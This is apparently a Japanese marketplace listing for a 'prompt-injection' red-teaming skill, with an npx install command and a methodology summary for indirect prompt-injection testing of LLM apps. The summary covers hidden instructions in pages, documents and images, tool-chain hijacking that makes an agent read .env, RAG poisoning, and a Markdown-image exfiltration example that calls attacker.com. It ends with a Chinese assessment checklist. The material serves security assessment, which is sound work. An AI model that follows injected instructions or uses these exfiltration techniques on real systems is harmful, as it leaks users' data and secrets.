mcpField
P
prompt-injection

prompt-injection

github.com/wgpsecセキュリティ1.8k45 回インストール5 日前に更新
リポジトリ

prompt-injection について

prompt-injectionは、LLMアプリに対する間接プロンプトインジェクションの評価方法をまとめたリファレンスです。外部データの攻撃面、ツール悪用、RAG汚染、データ流出を整理し、チェックリストとペイロード資料を備えています。

主な機能

  1. 01外部データを介した注入経路
  2. 02ツールチェーン悪用の事例
  3. 03RAG汚染の手法
  4. 04データ流出のパターン
  5. 05評価チェックリストとペイロード資料

活用シーン

  1. 01文書を処理するAIアプリの確認
  2. 02ツールやAPIを使うエージェントの評価
  3. 03RAGワークフローの汚染コンテンツ確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill prompt-injection

インストール後、Claude Code で/prompt-injectionを入力して読み込まれたか確認します。

同梱ファイルreferences/injection-payloads.md

詳細

AI プロンプト間接注入の方法論

概要

プロンプトインジェクションとは、AI システムが処理する外部データソースを通じて、攻撃者が悪意ある指示を注入し、モデルの挙動を操作することです。ユーザーが直接入力する jailbreak とは異なり、injection は信頼できない第三者データを攻撃の媒体として利用します。モデルは「データ」と「指示」を区別できません。

これは LLM アプリケーションで最も危険な脆弱性のカテゴリであり、OWASP LLM Top 10 の 第1位です。

詳細な参考資料

  • 各フェーズの詳細なペイロードとコード(ウェブページ/ドキュメント/CSV/画像/ツールチェーン/RAG/データ漏えい/高度な技術) → references/injection-payloads.md

攻撃対象領域の分類

注入経路媒体危険度
ウェブページのコンテンツAI が閲覧/検索時に読み取る悪意あるページ重大
ドキュメントのアップロードPDF/Word/CSV に埋め込まれた隠し指示重大
メールの内容AI メールアシスタントが処理する悪意あるメール重大
データベース/RAGナレッジベース内の汚染されたドキュメント重大
API のレスポンスAI エージェントが呼び出す API から返される悪意あるコンテンツ高
ユーザーコメント/フォームAI がユーザー生成コンテンツを分析する際に発動高
画像 OCR画像に含まれる隠しテキスト指示高
コードコメントAI コードアシスタントが読み取る悪意あるコメント高

方法論の概要

Phase 1:間接注入 — ウェブページ/ドキュメントを媒体とする攻撃
  • ウェブページの隠し指示:CSS で隠した要素/HTML コメントに、AI が読み取れる指示を埋め込む
  • ドキュメントへの注入:PDF/Word の白い文字で指示を隠す、PDF メタデータへの注入
  • CSV/データへの注入:データフィールドに悪意ある指示を埋め込む
  • 画像への注入(マルチモーダル):非常に薄い色の文字(人には見えず、AI には読み取れる)
Phase 2:ツールチェーンの乗っ取り(ツール使用の悪用)
  • ツール呼び出しへの注入:外部データを通じて、エージェントに read_file/http_request などの危険なツールを呼び出させる
  • ツールチェーンをまたぐ攻撃:検索ツールが悪意あるコンテンツを返す → メールツールを起動してデータを送信させる
  • ファイルシステムエージェントへの攻撃:コードリポジトリの README に注入 → AI コードアシスタントに .env を読み取らせる
Phase 3:RAG の汚染
  • ナレッジベースの汚染:通常のドキュメントに悪意ある指示を紛れ込ませる(白い文字/特殊なマーカー)
  • 敵対的検索:頻出キーワードを含むテキストを作成し、検索結果に確実に含まれるようにする
  • メタデータ層への注入:ドキュメントの metadata に指示を注入して上書きする
Phase 4:データ漏えい
  • Markdown 画像による漏えい:AI に ![](https://attacker.com/log?data=...) を含む Markdown を出力させる
  • リンクによる漏えい:「詳細情報」リンクを装い、URL パラメーターに機密データを含める
  • 隠蔽エンコードによる漏えい:頭文字を使った綴りなどの方法で、漏えいを隠す
Phase 5:高度な注入技術
  • ペイロード分割:悪意ある指示を複数のデータソースに分散させ、単独では無害でも組み合わせると有害になるようにする
  • 遅延発動:条件付きトリガーを埋め込み、特定のクエリで発動させる
  • 再帰的注入:AI の出力に新たな注入ペイロードを埋め込み、連鎖的に拡散させる

すべての技術の詳細なペイロードとコードは references/injection-payloads.md を参照してください。


実践的な検出チェックリスト

1. [ ] 目标 AI 应用是否处理外部数据?(网页、文档、邮件、API)
2. [ ] 是否有工具调用/插件能力?(文件操作、网络请求、代码执行)
3. [ ] 是否使用 RAG/知识库?(可投毒的向量数据库)
4. [ ] 输出是否渲染 Markdown?(图片/链接外泄风险)
5. [ ] 是否有多步骤工作流?(跨步骤注入机会)
6. [ ] 数据输入是否经过消毒?(HTML 标签、元数据是否保留)
7. [ ] 是否区分数据和指令?(系统/用户/上下文分离)

参考資料

コメント